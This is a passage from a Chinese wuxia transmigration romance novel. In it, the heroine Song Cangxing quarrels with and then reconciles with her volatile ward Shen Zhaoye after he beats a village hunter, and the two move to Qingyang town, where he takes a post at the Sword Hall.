沈昭野道:“我本来不想多事,可还是要谢你上次出手相救,你杀的那两个魔教,他们的刀是本州的玄铁。各门派对铁矿把控极严,按理不该流到魔教手里,告诉你一声,也算还了你的情。” 叶清然闻言一笑:“好,我记下了,多谢。” “不必,他们身上的银子我就收下了。” 沈昭野转身要走。 “等一下。”叶清然又叫住他,“方便说个名字么,权当交个朋友。” 沈昭野头也没回,抬手摆了摆,走了两步似是想到什么,转过身打量着他,“你成亲了?” 叶清然一愣,点点头。 沈昭野瞥了眼巷口的王猎户,表情不自然道:“按照本州婚嫁习俗,成亲前是不是得互送信物?” 叶清然想了想道:“各派有各派的规矩,我记得......云中门一般是送女子发簪。” 见少年脸色不太好,他揶揄道:“怎么,有心上人了?” 沈昭野没答,转身快步离开。 叶清然望着他的背影,笑着摇摇头,忽地看向自己的手心。 “……好扎实的内力。” 回去路上,沈昭野忽然说要拐个地方。 王猎户本想跟着,见他板着脸,便没敢开口,只得约好在城门汇合。 沈昭野进了一家首饰铺。 他也说不清自己为什么要来,只是想起她头上那根木簪就心烦,不就是根簪子,有什么了不起。 店里伙计见他衣衫破旧,便没顾得上理会。 沈昭野也不着急,视线扫过那些簪子,个个都觉得碍眼。 “你们这儿都有什么?”他从怀里掏出一锭银子,搁在柜台上,这是从胖子身上摸出来的,本想留着买剑用,当下只得拿出来了。 伙计一见银子,忙迎上来:“哎呦,小少爷想看什么?咱们福祥斋别的不说,那玉簪的样式可是天下闻名,还有人不远万里从北俱芦洲过来买呢。” 他瞅了瞅沈昭野,试探道,“小少爷是送给心上人?” “不是。”沈昭野想了想,说长辈,她也没到那个年纪,只得说:“是朋友。” 伙计眼珠一转,脸上堆满我都懂的笑:“朋友好,朋友好,那送朋友簪子就有些太早,不如看看玉镯?” 沈昭野点点头,最后挑了个羊脂白玉镯。 “祝小少爷心想事成。”伙计笑眯眯地把东西包好。 沈昭野蹙眉只觉得莫名其妙,也没应声,转身往城门走。 坐上驴车,一路上,王猎户欲言又止。 沈昭野索性不看他,自己靠到一角闭眼歇息。 下了车到了村口他忽然开口:“今日之事不必同我姑姑讲。” 王猎户还是关心道:“可那人看着不是一般人,你不会遇到什么麻烦了吧?” 沈昭野冷声道:“不劳你费心。” 王猎户忽地明白他为何如此生气,笑道:“你小子,是不是以为我要和藏星——” 沈昭野没等他说完,绕过他径直向家走去。 ...... 自打周楚出门,宋藏星就开始后悔,今天可是十月初五,万一他一个没忍住去报了名怎么办,自己就该跟着去才对。 她在院里踱来踱去,忽见门口一道身影,忙迎上去:“回来了?” 沈昭野见她如此欢喜,心里的烦躁也去了大半,点点头,从怀里摸出今日卖草药得的铜板:“迎春藤有些受损,品相不好,少算了五文。” 宋藏星哪里还顾得上铜板,见他按时回来,心里已是乐开了花:“累坏了吧?饿不饿?我炒了些山野菜。” 沈昭野将竹筐取下挂到屋檐下,刚要进屋,被宋藏星一拍:“洗手!” “哦。”他声音闷闷,面上却挂着笑。 踏进门的那一刻,心头那些烦心事便像蒲公英一样,一下都被吹散了。 沈昭野洗完手坐到桌前,目光一落,桌上横着个长长的布包,裹得严严实实。 他见过这个布包,那日她去镇上回来,藏在身后的就是这个。 宋藏星嘴角上扬,满是得意地使了个眼色:“打开看看,送你的礼物。” 沈昭野擦了擦手,将布包拆开,一把木剑露了出来,他有些愕然。 “怎么样?喜欢吗?等你成为正式剑修,我再送你一把真正的剑。” 宋藏星单手支着头,笑眯眯望着他。 沈昭野将木剑抽出来,剑柄上的剑穗也随之抖落。 他反复端详许久,目光扫过剑身每一处。 宋藏星凑过去:“快说呀,喜不喜欢,怎么没点反应,整整花了五百文,一个子儿不少,心疼死我了。” 沈昭野抬眼,粲然一笑:“喜欢。” 宋藏星也跟着笑起来。 “剑是我买的,”宋藏星朗声道,“可剑穗是王大哥送的,你可要好好用啊。” 沈昭野的笑容凝在嘴角,低头看着那条剑穗,眼中的欢喜也淡了去。 “怎么了?”宋藏星察觉不对,探头看他。 他把木剑搁到桌上,垂眸沉默片刻。 “这算什么?给我的补偿?” “啊?” 他抬眼盯着她:“我耽误你了吗?” 宋藏星彻底懵了:“说什么呢?” 方才还笑得那么可爱,怎么一下子变了个人。 沈昭野冷笑道:“我说怎么最近,他总是说些奇怪话,原来是在敲打我。”他目光瞥见宋藏星发间的木簪,只觉心头堵得更甚。 “敲打你什么?”宋藏星皱眉,“你到底在说什么?” 谜语人能不能滚出南明离洲。 沈昭野别过脸,双手在桌下暗自握紧,低声道:“你想让我走,直说就是了,何必假惺惺拦着我……报名还没结束,我大可以现在回去。”“我什么时候要赶你走了?”宋藏星气笑了,“哦,我知道了,拐弯抹角这么半天,你还是在怪我不让你参加甄试,你这人能不能坦诚点——” “到底谁不坦诚啊!” 沈昭野没忍住吼了出来。 宋藏星被他吼得有些不知所措,随即也怒了:“比谁嗓门大啊!当然是你啊,一天到晚摆着个脸,你想去就去好了!没人管你!” 宋藏星深吸一口气,转身就往外走,到门口时脚步一停,见身后并无动静,咬咬牙,一甩袖子跨了出去。 沈昭野坐在桌前,盯着那把木剑,剑穗垂在桌角,轻轻晃动。 他伸手一把将剑穗拽了下来,随手甩到地上。 ...... 临近傍晚,村里炊烟渐起。 各家都在收门口晾晒的药架,邻居大婶朝她喊了一声,“藏星,吃饭没?”,宋藏星勉强笑笑,应了句,“吃了”。 走着走着,脚步慢下来。 刚才那些话,是不是说重了? 成为剑修得到认可是他一直以来的方向,她毫无由头就拦着不让去,确实有些强人所难,他生气也是理所当然。 可也不能动不动就摆脸色啊。 她咬了咬唇,以往他再怎么生气,冷漠,她都不在意,只想着快些回家,现在却总会被他的情绪影响。 看见他笑就觉得开心,看见他生气自己更加生气,真把自己当他姑姑了,这种莫名的情绪她说不上来,只觉得有点烦,烦他,更烦自己。 前面,刘大娘正往筐里收地瓜干。 她走过去,蹲下身子,笑道:“大娘,给我装点儿呗?” “行。”刘大娘笑着抓了一大把。 宋藏星站起身,转身便往家里走,恰好碰到出门的王猎户。 “藏星啊,有件事我想来想去还是要同你说一声。” ...... 沈昭野在院子里坐了好久,也没见宋藏星回来。 冷静下来,又觉得自己的反应有些莫名其妙。 即便她真的要成亲,同自己又有什么关系? 她迟早要嫁人的。 再说,她又不是真的姑姑,他也不是真的周楚。 沈昭野低头从怀里拿出那个用丝巾包着的白玉镯,就当是贺礼好了。 他压下心头的烦躁,起身便要出门。 一抬头,宋藏星正站在门外,看不清表情,只一双眼直直地看着他。 沈昭野深吸口气,走上前,将玉镯递过去,闷闷道:“乱发脾气是我不对,这个,给你。” 宋藏星没接,讥讽道:“你哪来的银子,买这么贵的东西?” 沈昭野刚要解释,又觉得她不对劲:“你什么意思?” 宋藏星冷声道,“你今日去镇上,是不是见了叶清然?” 沈昭野收敛神色,想看她会怎么说。 宋藏星见他不反驳,气道:“既然这么想做剑修,现在就走吧,我不拦你,叶清然能给你的,何止这点银子!当初答应得那么痛快,转头就骗我,我就那么傻,活该被你耍得团团转吗!” 沈昭野就那么盯着她,任由她说完也没反驳。 他垂下头嘴角一扯,不知在笑什么,旋即眼神一厉,抬脚就往外走。 宋藏星冲他喊道:“走了就别回来!死外面都没人给你收尸!” 这臭小子,死性不改,嘴里没一句实话,要不是碰上王猎户,她都不知道他今日居然见了叶清然,还想着瞒天过海! 怎么会有这种捂不化的人,想死去死好了,大不了她不回家了! 宋藏星越想越气,径直进了屋,脱鞋上床,刚躺下没一会儿,就听见屋外罡风呜呜直叫。 “嚎什么嚎!你也不想活了!” 她骂了一句,穿上鞋走出去。 邻居大娘站在门口,急得跺脚:“藏星啊,你快过去吧,你家那小子,要把王猎户打死了!” 宋藏星脑子嗡的一声,脸色刷地白了。 11.俯首甘为小狼狗 宋藏星来不及再问,叫上罡风,快步往门外跑。 王猎户家门口,沈昭野正压在王猎户身上,一只手拽着他的衣领,将人半提起,另一只握拳,高高举起。 旁边三四个村民远远围着,彼此对视几眼,也没人敢上前阻拦,只得干着急。 宋藏星见他拳头又要落下,脱口喝了声,“罡风!” 罡风闻声猛扑上去,一口咬住沈昭野的小腿,牵制住他的动作。 沈昭野猛地回头,见是罡风,目光越过它,落在身后的宋藏星身上,眼中还带着未尽的戾气。 “你疯了!”宋藏星冲过来一把将他推开。 沈昭野被猛地一推,跌落在地,双手撑在身后,仰头看她。 村民们这才敢上前,七手八脚地将王猎户扶起来。 王猎户此时满脸淤青,一只眼肿得只剩条缝儿,狼狈不堪。 宋藏星忙过去问他有没有事,王猎户冲她摆手,看了眼地上的沈昭野,硬是说出一句没事,都是误会。 沈昭野刚压下去的火气又涌上来,分明是他告状在先,这会儿又在人前装好人。 他撑着地刚起身就被罡风拦住,只得喊道: “你装什么假好心!费尽心思也要赶我走,不就是对她存着见不得人的心思吗?” 这话一出,众人纷纷眼观鼻鼻观心。 王猎户那张挨了揍,本就涨红的脸显得更加窘迫。 他当初对宋藏星有那份心思,她顾全自己脸面,只同他认了兄妹,这事也算翻篇了,如今被沈昭野当众点破,一时心酸又难堪,只得把脸别开。 村民们低着头,目光却在她和王猎户之间瞟来瞟去。 宋藏星闭上眼,只觉头疼欲裂,她费心教养,处处迁就,到头来到底教了个什么东西。 沈昭野见王猎户那副模样,心头快意翻涌,出言讥讽道,“你也不掂量下自己,你算什么东西,癞蛤蟆想吃,” “啪!” 响亮的巴掌声打断他刻薄的话。 宋藏星再也忍不住,一巴掌甩了过去。 周围人深吸一口气,头垂得更低。 “轮得到你说吗?” 宋藏星一把揪住他的衣领,吼道,“你又算什么东西?” 沈昭野被这一巴掌打得有些懵,半晌回过头愕然:“你打我?” “怎么,还想打回来?打啊,索性把我们都杀了岂不是更好!” 沈昭野被这话呛得说不出一个字,只得抿嘴看着她。 宋藏星突然感到无力,被他推下山崖时都没这么失望过,她松开手,回头见王猎户还在冲她摇头,又想起他那日送剑穗时的模样,忍不住心头一酸。 她闭了闭眼:“滚。” “什么?” 宋藏星转身,望着沈昭野错愕茫然的脸,“我让你滚,有多远滚多远,不要再出现在我面前。” 她走到一旁将周围被打翻的晾晒架扶起,心平气和道:“这什么狗屁姑姑我不当了。” “你向来随心所欲,我管不住,也伺候不了,你走吧。” 沈昭野望着她收拾的身影,胸口曾被填满的东西正在一点点流失。 他低低呢喃,满是委屈与不甘:“当初让我留下的是你,如今赶我走的也是你,什么都是你说了算,没有一句解释也从不问我......” “别废话了。” 宋藏星不再看他一眼,转身对村民微微欠身,挂着笑赔罪,她不知道怎么解释今天的事,也不想解释,反正怎么说都会成为茶余饭后的笑话。 末了,她来到王猎户身旁,搀着他往家走。 “罡风。” 灰狼呜咽了一声,抬头舔了舔沈昭野垂在身侧的手,还是跟了上去。 周围村民见状更是不敢逗留,顷刻间四散而去,家家户户关门落锁。 方才还喧闹的街口,瞬间空荡荡一片。 沈昭野依旧保持着方才的姿势,望着宋藏星离去的方向。 眼前突然变得模糊,他后知后觉地抬手,豆大的泪就那么落了下来。 上次落泪是什么时候。 他记得很清楚,是十三岁。 他通过了那年的剑修甄试,即便比试时分给他的木剑是最次的一把,他还是过了。 只要能当上剑修,这些都没什么,不过是冷眼与嘲讽,从小到大他都这样熬过来了。 可那些人欺人太甚,竟当着他的面,硬生生踩断他省吃俭用许久才买来的木剑。 他没忍住,还了手。 到头来却被扣上恶意伤人的名头,剑修的腰牌也被收走。 他不甘心,到司剑堂鸣冤,又被人赶了出来。 那晚,夜幕沉沉,不见一颗星子。 他坐在芦苇荡的破船上,想不通为什么明明已经过了剑修甄试,自己的日子还是这么难过。 为什么明明改了个体面的名字,还是被人踩在脚下。 一滴泪落在手背,便再也收不住。 他至今还记得,那个踩断他木剑的人,是瑶光门一位剑修的弟弟。 瑶光门被灭门那日,他躲在木桶里,见那些黑衣人四下砍杀,非但没有生出半分怜悯,还感到一阵快感。 生死有命,怪不得旁人,这句话他同样奉还给他们。 ...... 从王猎户家出来已是深夜,宋藏星看了眼街口,早已空无一人。 王猎户说,周楚是以为他俩要成亲,怕被抛弃,才这么生气。 她听完只觉得更烦。 即便如此也不能动不动就打人,一言不合就把人推下山崖,一言不合就将人打个鼻青脸肿,世上怎么会有这么烂的人,这种人真的有拯救的必要吗? 她摇摇头,带着罡风推开院门。 夜色下,竹苑中,沈昭野垂坐在地上,抬眼看向她。 两人隔着庭院对望。 宋藏星径直走过去,没理他。 擦身而过时,沈昭野开口:“我明日一早就走。” “你应该现在就走。”宋藏星站在屋里背对着他。 沈昭野起身:“你都不问我原因?” 宋藏星深吸一口气转过身:“我需要知道原因吗?我只知道你以为我要抢你的心经,就把我推下山崖,你以为王猎户告状是为了赶你走,就把人家打个半死。” “你在做这些事情的时候,问过我们原因吗?” 沈昭野没有反驳。 他的确推了她,也的确打了王猎户,她说的话每一句都落在他自己做过的事上。 他想说自己有理由,可又觉得那些理由都站不住脚。 她根本无法理解,自小他就是这样生存下来的。 那年他偷了个沉甸甸的钱袋,一路跑回去找杨老头。 老头子答应过,攒够了钱就许他参加剑修甄试。 谁知杨老头翻脸不认人,当晚就要把他扔进河里。 幸好夜里宝珠跑来报信,他才捡回一条命。 从那以后他就知道,不能等别人先动手,哪怕只是一丝对自己不利的苗头,也要掐掉。 “我现在就可以告诉你,是我让王大哥告诉我你的行踪,原因很简单,我不信任你。” 她上前一步,“我不信,一个为了一本破心经能把人推下山崖的人,会老老实实待在我身边。” “眼下看来,你确实也不值得我信任。” 沈昭野忽地笑了:“破心经……在南明离洲, 不修剑道,一辈子都翻不了身,我好不容易才拿到,一个人突然冒出来要抢走,换了是你,你不动手?” 宋藏星实在无法理解他的逻辑,摇头:“我不会。” 沈昭野望着她只觉得好笑,“……你到底是哪儿来的人啊。” 宋藏星稍稍冷静下来。 自来到这个世界,她大半时间都待在这个小山村,碰到的人都是好人,观南,王猎户,刘大娘,谁也不曾害过谁。 她没见过江湖,没领教过人心。 那种拼了命往上爬,不爬就被人踩死的日子,她只在书上看过。 他说得理所当然,她听着却只觉得陌生。 她想了很久,还是开口:“我确实没见过你说的那种日子,但这不是杀人的理由,你身世悲惨,难道就可以胡乱杀人?那我们这些什么都没做的人呢?岂不是更无辜?” 沈昭野就那么看着她,感觉胸口的洞越来越大,她说的每一句话都在理,可他又觉得不对。 宋藏星道:“当初是你答应我不去见叶清然,不参加今年的剑修甄选,你若是不愿意——” “我愿意啊!” 宋藏星怔在原地。 “我什么时候说不愿意了。” “我愿意放弃剑修甄试,愿意相信你说的再等一年,哪怕你什么也没说,我也相信你有自己的理由。” “可你问我为什么打人了吗?你听到王师傅说我见了叶清然,回来就认定我和他有联系,到如今你还认为我是因为剑修甄选的事生气,你有问我一句吗?” 他忽地背过身拿手臂挡住眼睛,为什么会变成这样。 哪怕被人收走腰牌也没这么狼狈过,可他又怨不得任何人,周楚的身份是他自己冒领的。 她来这里,她留下来,她对他所有的好,从一开始就是对周楚的。 如果那天在瑶光门他没有应下那个名字,她大概看都不会看他一眼。 他不后悔,他只想活下去,哪怕伤害别人。 宋藏星望着他,望着他背过身又轻颤的模样。 她其实没有多恨他,因为并没有投入多少感情,在她眼里他只是个纸片人,贴着男二标签的一个人设,只要困住他,不许他出去惹事,让他安稳度过这一生,任务就完成了。 可如果真是这样,他打人,她替他赔罪,训一顿,忍忍就过去了。 她为什么会失望?为什么会当着那么多人的面扇他一巴掌? 是从什么时候开始的?她不记得了。 怎么好像做的越多,事情越会朝着相反方向发展。 得来万法皆无用,身形应当似水流,她忽然想起观南留下的佛经,每一本开头都会有这一句。 “我们离开这里吧。” 宋藏星轻声说。 “什么?” 沈昭野似乎是没听清,放下手臂,转过身是眼中还带着泪花。 宋藏星道:“我忽然觉得一直躲在小山村也没什么意思,既然你想成为剑修,咱们就去试试。” 她一直以现代的标准去要求周楚,可这个世界似乎并不是这样的,或许坚持下去反而会适得其反。 他才十五岁,路还很长。 宋藏星抬手擦掉他眼角的泪,“可我有我的底线,打人就是打人,说再多理由,我也觉得不对。” “但是我愿意陪你去看看,你说的这个南明离洲,到底是什么样。” 沈昭野看着她,她突然改变主意,究竟是理解了自己的委屈,还是因为他是周楚。 他开始嫉妒那个素未谋面的少年,又有些庆幸,庆幸那晚在瑶光门,应下这个名字的是他自己。 他嘴唇微动:“什么时候走?” “明天。” 12.人生何处不相逢 “你现在说的这些话,是真心还是为了哄我开心?” 宋藏星眨眨眼,“这两者不能共存吗?就不能是真心哄你开心?” 沈昭野有些气笑,别过头擦了擦眼角:“又在讨好我。” 他又问了一遍那个问题:“你到底想要什么?” 宋藏星依旧是那个回答:“我希望你做个好人。” 沈昭野垂眸:“我不觉得我是个坏人。” 宋藏星无语道:“你看你做的事,哪一件像好人了。”没等他回话,她先打了个哈欠:“困了,明早一块跟我去给王大哥赔罪。” 她想离开,还有个原因。 这村子已经待不下去了。 沈昭野打人先不说,她和王猎户那点捕风捉影的事,都够村里嚼上一年。 沈昭野眨了眨眼。 “干什么?”宋藏星眯起眼。 沈昭野挠挠脖子:“我能跟姑姑一起睡吗?” 咣!宋藏星拿起旁边的竹筐就拍到他头上。 沈昭野吃痛地捂住脑袋:“疼!刚才那一巴掌还没消呢!” “如今都十五岁了!长得比我还高!有没有男女之别!” 沈昭野委屈道:“我只是还有话想跟你说,我可以打地铺。” 宋藏星想起那一巴掌,叹了口气,放下竹筐。 …… “我说,你不打呼噜吧?” 宋藏星看着在地上铺被子的沈昭野,抱着胳膊靠在床头。 沈昭野铺好被子,躺上去摇头:“我也没同谁一起睡过,不清楚。” 宋藏星白了他一眼,双手枕在脑后,躺下来望着屋顶。 屋里黑漆漆的,只有窗缝里漏进一点月光。 沈昭野也学着她那样双手往后一放,就这么躺着。 “真奇怪。”宋藏星忽然开口。 “什么奇怪?” “刚才还剑拔弩张的,又是吵架又是扇耳光,这会儿倒心平气和地躺在一个屋里了。” 沈昭野侧过头去看她。 黑暗中什么也看不清,只隐约瞧见她的轮廓,可他还是觉得格外安心:“我也没想到,你会突然改口。” 宋藏星轻哼一声:“我人好呗,一看到你个大男人哭成那样,就觉得自己像个十恶不赦的大坏蛋。” 沈昭野沉默了一会儿,开口解释道:“买镯子的钱是我从胖子身上扒的,不是叶清然给的,遇到他也是碰巧,他邀我进听剑阁,我没答应。” “这么好的机会,你没答应?不难受?” “难受啊,难受死了。”他的声音闷闷的,“回来你还误会我,早知道还不如应了。” “别在这给我装委屈,你打人的时候手可没软。” “我跟他说了别告诉你,就是怕你多想,谁知道……”他把后半句咽了回去。 “那你就打人?你这脾气真得改改。” 宋藏星忽然扭头,“哎,我说,就你这性子,之前在瑶光门是怎么活下来的?” 沈昭野面不改色道,“打得过就打,打不过就挨打呗。” 宋藏星听完笑了:“我之前也被人欺负过,然后,” 她想了想怎么说他才能听懂,“就给他的马下了点巴豆,想让他路上出糗。” 其实是给那人自行车放了气。 “然后呢?” “然后被我爹知道了,回来揍了我一顿。” 她撇撇嘴,“他说,别人不讲道理是别人的事,但你不能不讲道理。” “那岂不是受尽窝囊气?” 宋藏星轻轻叹了口气。 “是啊。”可她中学就是这么忍耐下来的,留守少女没人疼没人爱的,吃饭都得去亲戚家。 屋里霎时安静下来,她翻了个身,把手缩进被子里,闭上了眼。 即便如此,她也想家,想爸妈。 其实也不是突然想,是一直都在想。 她始终适应不了这里的生活,只能强迫自己不去想,才能没那么想。 自己迟早是要回家的,她一直抱着这个念头,所以尽量不同人来往,想着多一事不如少一事。可世上的事偏不随人心意,她不想碰到叶清然,结果把人请到了家里,她想让周楚学好,他又把别人揍了一顿。 越想躲,越躲不掉,索性就不再畏手畏脚了,宋藏星这么想着,心绪反倒静了下来。 沈昭野也侧过来,面朝着她。 不知过了多久,床上传来平缓的呼吸声。 他轻轻伸出手指,勾了勾宋藏星垂在床边的那只手,掌心相握,又不敢用力。 深夜,月亮都隐没在云间。 沈昭野轻声道:“你究竟从哪儿来的呢?” ...... 次日清晨,天还没亮,罡风又开始乱嚎。 “狗蛋!谁是狗蛋!” 门外忽然响起陌生的声音。 宋藏星本就睡得晚又睡得不好,此刻正是烦躁,嘟囔道:“叫你呢!快去!”她忽然睁眼,知道这名字的也就叶清然了。 她和沈昭野对视一眼,起身往门外走。 门口不知何时站了个人,墨色长衫,腰间佩剑,身后还跟着两个随从。 沈昭野眼睛一眯,抬手将宋藏星拦在身后,回道:“你找谁?” 那人上前行礼:“在下司剑堂于朗,近日有魔教在附近作乱,听说是一位叫狗蛋的少侠将人制住,堂主便让我过来,把赏银送上。” 沈昭野摇头,“人不是我,” 话没说完,于朗招招手,身后随从端上木盘,红布揭开,竟是三贯铜钱。 宋藏星霎时睁大了眼,那可是三千文! “少侠说什么?” 沈昭野刚要开口回绝,袖子被人从身后拉住。 他偏头,见宋藏星正冲他拼命眨眼,又把头转回去:“是我。” 于朗上下打量他一番笑道:“既如此还请狗蛋少侠收下赏银,随我们同去司剑堂。” 沈昭野眼皮一跳:“叫我大名就好。”他稍作思考,“我叫阿楚。” 宋藏星在他身后紧绷着嘴,一副凛然的神情。 沈昭野又道:“领了银子还要去司剑堂吗?” 于朗笑道:“不瞒少侠,此事由叶剑仙提起,我们堂主自然不敢怠慢,本想请少侠入司剑堂,可叶剑仙又说,您无意参加今年的剑修甄试,这才作罢,堂主便让我过来,请您去见一面。” 宋藏星想起昨日他的解释,不免有些心虚,肩膀忽然被人握住,整个人被推到了于朗面前。 沈昭野的声音从头顶传来:“方才最后一句话,劳烦大人再说一遍。” 于朗没弄明白状况,但还是对着宋藏星,好声好气地重复了一遍。 “听清了?”头顶传来沈昭野凉凉的声音。 没见过这么小气的男人。 沈昭野同于朗说眼下还有事,等到午后他再过去,于朗倒也没说什么,留下三贯铜钱后就离开了。 宋藏星盯着那木盘里的三贯铜钱笑眯眯道:“这下我们去镇上有本钱了。” 沈昭野盯着她:“你真愿同我一起?” 宋藏星环臂向后一仰:“怎么,我看起来像是那言而无信之人?” 沈昭野面色不变,嘴角却微微扬起,拿出一贯放到桌上:“这一千文就当是给王师傅的赔礼了。” 宋藏星点点头:“光给钱可不够,你以后有出息了记得回来看看他,他很看好你的,所以才给你买了剑穗。” 沈昭野垂下头,又将一贯钱拿了出来:“要不两贯?” 宋藏星忙按住他的手笑道:“这次先欠着,等你以后飞黄腾达了再给也不迟。” 沈昭野点点头。 宋藏星支着脑袋亮晶晶地看着他。 沈昭野不再理会她,起身准备收拾。 宋藏星拍桌:“我的呢!怎么没我的?”沈昭野笑道:“我的,姑姑的,有什么分别,反正我们总是在一起的。” 宋藏星这话倒是受用,仔细一想又回过味来:“那放我这儿。” 沈昭野将木盘收回些:“姑姑还未出过远门,不知道江湖险恶,还是由我保管比较稳妥。” 宋藏星眯眼:“诡计多端的男人。” 沈昭野笑得天真无邪。 ...... 来到王猎户家门口,宋藏星还没想好怎么开口,门已经开了。 王猎户脸上的肿还没全消,一只眼仍青着。 他看了看宋藏星,又看了看她身后的沈昭野,没说话,侧身让了让。 进了屋,沈昭野从怀里取出那贯铜钱,放在桌上,膝盖一弯就要跪下去。 王猎户伸手拦住他。 “别跪了。”他脸上没什么表情,“跪了又能怎样,也是我没本事,被一个孩子打成这样。” 沈昭野站在原地,说不出话。 “你这性子,”王猎户看了他一眼,“今天打的是我,我躺两天也就过去了,要是换个人呢?要是碰上比你更横的呢?你还能站在这儿?” 沈昭野低下头。 王猎户没再看他,把桌上那贯钱收了:“钱我收下了,你好自为之吧。” 宋藏星在一旁也不好说什么,只让沈昭野先去村口等她。 “要离开村子了?”王猎户对着宋藏星面色柔和些。 宋藏星点头:“这段日子多亏王大哥照顾,药庐和罡风就麻烦你了,等找到住处,我就把罡风接过去。” 罡风从他俩收拾东西就开始哼唧,似乎知道要将它留下,宋藏星虽是有些不舍却又没办法带它一起,只得安慰它说,等她有了住处一定来接它。 王猎户叹口气:“昨夜我跟你说那些话,不是替他开脱。” 宋藏星点点头:“我知道。” 王猎户看着她:“这孩子性子乖张,下手没轻重,不是一天两天养成的,你真是他姑姑?” 宋藏星又点点头。 王猎户没再追问:“走吧,路上小心。” 宋藏星道了声谢,转身出了门。 村口,沈昭野正站在树下等她,见她过来,迎了两步:“方才想去跟刘大娘道个别,她把门关上了。” 宋藏星撇撇嘴,没好气道:“那你说怪谁?” 沈昭野想了想:“我以后,打人之前一定想清楚。” “还想打人?”宋藏星把包袱往肩上一甩,抬脚往村外走,“出了这村,哪个不比你厉害,先约法三章,出去以后,大事听我的,小事也听我的,不准随便打人。” 沈昭野忙跟了上去:“那要是你做的不对呢?” “姑姑做的都是对的。” 沈昭野嘟囔道:“那你也得告诉我为什么这样做,为什么不能那样做。” “哪有那么多为什么。”宋藏星头也不回,“不想听你现在就可以走。” 沈昭野不说话了,走了几步,他偏头看了眼她肩上鼓鼓囊囊的包袱道:“别以为我没看见,出门的时候你把那两贯钱塞自己包袱里了。” “哈哈哈哈哈哈哈。”宋藏星一愣,随即笑出声来。 “周楚,你知道闯荡江湖的第一步是什么吗?” “什么?” “要有一个响亮的名字!” 沈昭野深表赞同。 “周楚这个名字很容易被人盯上,不如,就叫你狗蛋?” “......” “开玩笑,开玩笑,你方才不是对于朗说你叫阿楚吗?那我以后就叫你阿楚了。” 沈昭野面色不变,脚步却轻快了些。 阿楚,至少不是周楚。 他觉得这个名字,真是好极了。 山路渐渐开阔,白溪村已经看不见了。 远处的官道上拉人的驴车已经在静静等着。 “走吧。” 13.斩断当年少年诺 来到青阳镇,宋藏星带着沈昭野直奔司剑堂。 路上她打听了,这地方就相当于衙门,替各门派管些杂事,维护一方安稳。 司剑堂的堂主是个和蔼可亲的老头,姓薛名越,见谁都是三分笑。 他眯着眼将沈昭野上下打量了一番,笑得眼角皱纹都堆到一起。 “真是英雄出少年啊,谁能想到咱们青阳镇能出这么一位剑修胚子,竟能得叶剑仙赏识。” 宋藏星讶异,这叶清然地位这么高?她瞥了眼沈昭野,暗自替他叹气。 眼下周楚连个剑修都不是,就这条件还敢跟人家抢媳妇,她突然有点想看看原著了。 沈昭野回道:“堂主叫我来,就为说这些?” “自然不是。”薛越捋了把胡子,“我听叶剑仙说你无意参加明年的剑修甄试,那不妨先在司剑堂当着差?虽说只能配把木剑,不过你放心,工钱和正式剑修一个样。” 沈昭野心头微动,看向宋藏星。 宋藏星上前一步:“吃住呢?” “管吃管住。” “工钱?” “每月五钱银子。”薛越笑眯眯地伸出一只手掌。 宋藏星还在脑子换算这五钱银子是多少文,沈昭野在旁开口:“五百文。” 宋藏星蹙眉,在村里卖草药都有五百文哩,但又一想管吃管住忙点头,又问:“那住哪儿?” “同堂里其他剑修住在一起,司剑堂有专门的……” 薛越见两人眉头紧皱忙改口,“柳叶巷,我有一处闲置的小院,若不嫌弃……” 宋藏星眼睛一亮:“不嫌弃!不嫌弃!多谢堂主。” 她拍了拍沈昭野的胸膛,“这小子打小就粘我,离了我不行。” 沈昭野嘴角一抽,看向薛越:“总不能白给我们住,是叶剑仙的意思?” 宋藏星眼神一紧,这可不行,说好了远离原男主,转念一想,如今进司剑堂,也算是承了他的人情,果然怎么都绕不开。 薛越摇头道:“叶剑仙只同我提了魔教的事,旁的没吩咐。” 见两人仍有疑虑,他索性打开天窗说亮话:“这一来,青阳镇剑修本就不多,我自然想留住少侠,二来嘛,那宅子闲着也是闲着。” 他伸出两根手指,“每月二十文,我也不白送,就当替我看房子,少侠意下如何?” 宋藏星在心里算了算账,又看了一眼沈昭野。 最终还是点了头。 …… 宋藏星站在院子门口,深吸了一口气。 来之前她琢磨着,薛越说闲置小院,也就是客套话,怎么着不得是个能拎包入住的清净地方。 她望着眼前比人还高的杂草,院墙的砖缝里钻出的青苔,转头幽幽看向沈昭野。 他正出神,不知在想什么。 “没事。”她赶紧开口试图安慰,也努力说服自己,“这些草找人清理一下还是能住的,问题不大。” “已经很好了。” 宋藏星一愣。 沈昭野转过头,对上她的目光,咧嘴笑道:“我小时候都在桥洞下睡,后来被人收养,才得了张草席。” 怎么一言不合就开始忆童年,宋藏星刚想把话岔开,忽又奇怪道:“你不是在瑶光门长大的么?” 沈昭野眨眨眼:“我说的是进门派之前。” 宋藏星点点头又觉得不对劲,想要再问,他已迈步走进院中,四下环顾。 沈昭野到墙角一棵大树下站定,仰头看了片刻,忽然转身,冲她笑道: “姑姑,是棵柿子树!” 宋藏星怔愣出神,随即一笑。 十月份的柿子树正是成熟期,这棵却光秃秃的,枝丫伸向天空,什么也没挂。 宋藏星大致扫了一眼院子,决定找个师傅来清理,结果问了一圈,最便宜的也要六百文。 沈昭野见她进门时眉头紧皱,欲言又止,便没说话,走到墙角蹲下开始默默拔草。 她眉毛一扬,还挺上道儿,换了旧衣裳蹲到他旁边,两人从正午拔到天黑,指缝里尽是些草屑。 月亮升到屋顶时,面前终于清出一小片,两人回头看了看剩下的杂草。 “姑姑。” “嗯。” “六百文也不是很贵……” 宋藏星直起腰,看了他一眼:“你说得很对。” 隔天他们便请了师傅来清理剩下的杂草乱石。 专业人干活就是快,两天功夫,院子屋子焕然一新,他们便把罡风也接了过来。 宋藏星很满意,就是给钱的时候被风沙迷住了眼。 沈昭野嫌弃道:“不是还有一贯钱吗?” 宋藏星白他一眼:“你和罡风一天就要吃掉十文。” 他摸摸罡风的脑袋:“那我中午在堂里吃。” 说的倒是有模有样,往后一个月,沈昭野当真每日晌午在堂里吃,可没过多久,有次傍晚回来,坐下啃了两口窝窝头,便放下不吃了。 宋藏星问他怎么了,他说:“中午堂里吃窝窝头,回来还是窝窝头。” 宋藏星一听就知道在点自己,微笑道:“怎么,不满意?是不是还得我中午去给你送饭?” 沈昭野笑道:“左右姑姑也没什么事。” “不吃就饿着。”她如今可没这么惯着他,“白给的一顿饭还不吃。” 沈昭野抿着嘴,垂下眼,一副委屈的模样。 “好了,好了,以后晚饭我做得丰盛些。” 沈昭野顿时喜笑颜开。 宋藏星忍不住嘀咕,这小子是不是在装可怜呢。 